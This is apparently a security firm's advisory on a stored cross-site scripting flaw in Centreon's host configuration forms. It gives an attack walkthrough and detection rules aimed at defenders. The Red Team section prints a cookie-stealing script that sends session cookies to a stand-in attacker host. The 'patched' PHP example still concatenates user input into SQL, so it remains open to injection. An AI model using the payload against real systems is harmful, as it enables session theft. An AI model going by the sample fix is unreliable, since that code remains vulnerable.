CVE-2025-12513

Executive Summary

CVE-2025-12513 is a Stored Cross-Site Scripting (XSS) vulnerability in Centreon Infra Monitoring, specifically within the Hosts configuration form modules. An attacker with high privileges can inject malicious scripts into the host configuration forms. When other high-privilege users view the affected configuration, the script executes in their browser session, potentially leading to session hijacking, data exfiltration, or further lateral movement within the Centreon environment. The vulnerability affects versions from 24.04.0 before 24.04.19, from 24.10.0 before 24.10.15, and from 25.10.0 before 25.10.2. No public proof-of-concept or exploit code is currently available.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct product vulnerability in Centreon's proprietary software. The risk is mitigated by the requirement for high privileges to exploit.

CVSS Breakdown & Threat Level

• CVSS Score: 6.8 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have high privileges (e.g., administrator) to inject the payload.
• User Interaction (UI): Required (R) – A victim user must view the maliciously crafted host configuration.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) – An attacker could steal sensitive data from the victim's session.
• Integrity (I): High (H) – An attacker could modify configurations or perform actions as the victim.
• Availability (A): High (H) – An attacker could disrupt the monitoring system.

Threat Level: Medium. Exploitation requires high privileges, but the impact on confidentiality, integrity, and availability is high.

Deep Dive & Mechanics

The vulnerability lies in the improper neutralization of user-supplied input within the Hosts configuration form modules of Centreon Infra Monitoring. When a high-privilege user (e.g., an administrator) creates or edits a host configuration, the application fails to sanitize or encode certain input fields before storing them in the database. When another high-privilege user views the host configuration, the stored malicious script is rendered in their browser, leading to Stored XSS.

The attack flow:

1. Privileged Access: The attacker must have high privileges (e.g., admin role) to access the host configuration forms.
2. Payload Injection: The attacker injects a malicious JavaScript payload into a vulnerable field (e.g., host name, alias, or custom macro).
3. Storage: The payload is stored in the Centreon database.
4. Trigger: A victim (another high-privilege user) views the host configuration page.
5. Execution: The victim's browser executes the malicious script, allowing the attacker to perform actions on behalf of the victim, steal session cookies, or exfiltrate data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly stores user input without sanitization
$hostName = $_POST['host_name'];
$query = "INSERT INTO hosts (name) VALUES ('$hostName')";
mysqli_query($conn, $query);

Patched Code (Conceptual):

// Patched: Sanitizes input using htmlspecialchars or a similar function
$hostName = htmlspecialchars($_POST['host_name'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO hosts (name) VALUES ('$hostName')";
mysqli_query($conn, $query);

The patched code ensures that any HTML or JavaScript characters are encoded before storage, preventing them from being executed when rendered.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Centreon instance with a high-privilege account (e.g., admin).
• Knowledge of a vulnerable field in the host configuration form.

Exploitation Steps:

1. Log in to Centreon as a high-privilege user.
2. Navigate to Configuration > Hosts > Add.
3. In a vulnerable field (e.g., Host Name), inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the host configuration.
5. Wait for another high-privilege user to view the host configuration. The script will execute in their browser.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection Steps:

1. Monitor for unusual host configuration changes by high-privilege users.
2. Look for suspicious patterns in host configuration fields (e.g., <script> tags).
3. Review web application logs for requests containing JavaScript payloads in host configuration parameters.

Mitigation Steps:

1. Apply the patch by upgrading to the fixed versions.
2. Implement input validation and output encoding for all user-supplied data.
3. Use Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the Centreon server.
  • Unusual POST requests to /centreon/api/index.php?action=action&object=host with JavaScript payloads.
• Host IOCs:
  • Presence of <script> tags in the Centreon database (e.g., in hosts table).
  • Unexpected changes to host configurations by high-privilege users.
• Log IOCs:
  • Web server logs showing requests with host_name=<script> or similar patterns.
  • Application logs indicating failed input validation attempts.

Detection Engineering

YARA Rule

rule CVE_2025_12513_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Centreon host configuration fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12513"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $centreon_field = /host_name|host_alias|host_macro/
    condition:
        $xss_payload and $centreon_field
}

Sigma Rule

title: Centreon Stored XSS in Host Configuration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-12513 by injecting JavaScript into host configuration fields.
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: centreon
detection:
    selection:
        http_method: 'POST'
        url_path: '/centreon/api/index.php'
        body_contains: 'host_name'
        body_contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in host names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-12513 - Centreon Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/centreon/api/index.php"; http_uri;
    content:"host_name"; http_client_body;
    content:"<script"; http_client_body;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Centreon Infra Monitoring to the following patched versions:
   • 24.04.19 or later
   • 24.10.15 or later
   • 25.10.2 or later
2. Review and sanitize all existing host configurations for any injected scripts.
3. Implement strict input validation for all host configuration fields.

Long-Term Mitigations:

1. Enforce the principle of least privilege – Limit the number of users with high privileges.
2. Deploy a Web Application Firewall (WAF) to block XSS payloads.
3. Enable Content Security Policy (CSP) headers to restrict script execution.
4. Conduct regular security audits and penetration testing on the Centreon environment.

Workaround (if patching is not immediately possible):

• Disable the host configuration form for non-essential users.
• Manually review and sanitize all host configuration inputs using a proxy or WAF.

Valters IT – Securing your infrastructure, one CVE at a time.